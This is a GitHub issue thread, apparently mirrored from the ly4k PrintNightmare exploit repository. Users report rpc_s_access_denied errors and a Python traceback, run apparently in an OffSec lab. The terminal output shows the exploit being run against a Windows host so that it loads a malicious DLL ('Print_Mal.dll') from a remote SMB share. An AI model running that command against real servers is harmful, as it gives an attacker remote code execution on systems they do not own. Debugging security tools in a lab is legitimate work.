ly4k / printnightmare Goto Github PK

Getting this error while testing the exploit. It has randomly stopped working on certain Windows Server 2012 hosts. From what I can see it may have something to do with MSRPN_UUID_RPRN.

While testing this on a larger domain, I received multiple error messages of type "rpc_s_access_denied" when using the -check functionality.

I don't know enough Windows internals to understand the difference between this and "rpc_e_access_denied" but I suppose there is a pattern to this, which could be caught and cleanly reported, instead of just raising the error.

Tested against a known vulnerable host. All the necessary dependencies in place.

──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare]
└─$ python ./printnightmare.py -check 'offsec:[email protected]' 1 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target appears to be vulnerable!

┌──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare]
└─$ python ./printnightmare.py -dll '\192.168.119.215\share\Print_Mal.dll' 'offsec:[email protected]' 1 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Enumerating printer drivers
Traceback (most recent call last):
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 760, in
print_nightmare.exploit(options.name, options.env, options.path, options.dll)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 466, in exploit
driver_path = self.getDriverPath(dce, environment)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 370, in getDriverPath
drivers = self.list(environment, dce)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 389, in list
resp = hRpcEnumPrinterDrivers(dce, NULL, environment, 2)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 264, in hRpcEnumPrinterDrivers
request["pDrivers"] = b"\0" * bytesNeeded
UnboundLocalError: local variable 'bytesNeeded' referenced before assignment